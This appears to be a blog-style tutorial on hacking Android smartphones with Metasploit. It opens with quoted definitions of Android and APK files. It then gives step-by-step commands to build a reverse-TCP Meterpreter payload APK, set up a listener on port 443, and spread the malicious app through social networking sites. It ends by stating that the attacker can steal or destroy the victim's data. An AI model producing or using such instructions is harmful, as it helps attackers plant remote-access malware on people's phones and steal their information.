What Is Android? According To WikiPedia:

Android is an operating system based on the Linux kernel, and designed primarily for touchscreen mobile devices such as smartphones and tablet computers. Initially developed by Android, Inc., which Google backed financially and later bought in 2005, Android was unveiled in 2007 along with the founding of the Open Handset Alliance: a consortium of hardware, software, and telecommunication companies devoted to advancing open standards for mobile devices.

According To WikiPedia: What Is .APK? 

Android application package file (APK) is the file format used to distribute and install application software and middleware onto Google's Android operating system; very similar to an MSI package in Windows or a Deb package in Debian-based operating systems like Ubuntu.

Start  now  today's  tutorial:

Before  going  to  start  this  aticle  you  put  some  thing  keep   in mind , Here is some initial information for this tutorial:

1) Attacker IP address:

2) Attacker port to receive connection: 443

What  I  Your  Requirements:

1. First  you  need Metasploit framework (we use Kali Linux 1.0.6 in this tutorial)

2. Obiously you need  a  Android smartphone (we use LG android 4.4 KitKat)

Step by Step Hacking Android Smartphone Tutorial using Metasploit: 

Step:1) First  of  all  simply  Open terminal if  you  don't  know  how  simply  press CTRL + ALT + T

Step:2) After  that  We will utilize Metasploit payload framework to create exploit for this tutorial.

    msfpayload android/meterpreter/reverse_tcp LHOST=<attacker_ip_address> LPORT=<port_to_receive_connection>

Here  we  allready  describe  what  is attacker   IP address  and  here  we  considered  ip  as, if  you  don't  understand  please  see beelow  picture

Step:3) This  is   Because our payload is reverse_tcp where attacker expect the victim to connect back to attacker machine, attacker needs to set up the handler to handle incoming connections to the port already specified above.simply  goto  console if  you  don't  know  how  to   go  to  consol window  simply   Type msfconsole to go to Metasploit console.

 use exploit/multi/handler –> we will use Metasploit handler
set payload android/meterpreter/reverse_tcp –> make sure the payload is the same with step 2

step:4) After  doing  this   The next step we need to configure the switch for the Metasploit payload we already specified in step 3.

    set lhost –> attacker IP address
    set lport 443 –> port to listen the reverse connection
     exploit –> start to listen incoming connection
Step:5)  Attacker already have the APK's file and now he will start distribute it (I don't need to describe how to distribute this file, internet  and  social  networking  sites   are  the good place for distribution )

Step:6) Short stories the victim (me myself) download the malicious APK's file and install it. After victim open the application, attacker Metasploit console get something like this:

Step:7) What  its  mean , It's mean that attacker already inside the victim android smartphone and he can do everything with victim phone he  can  steal  all  information  of  victim even  sometime  destroy  all  sencitive  data of  mobile.
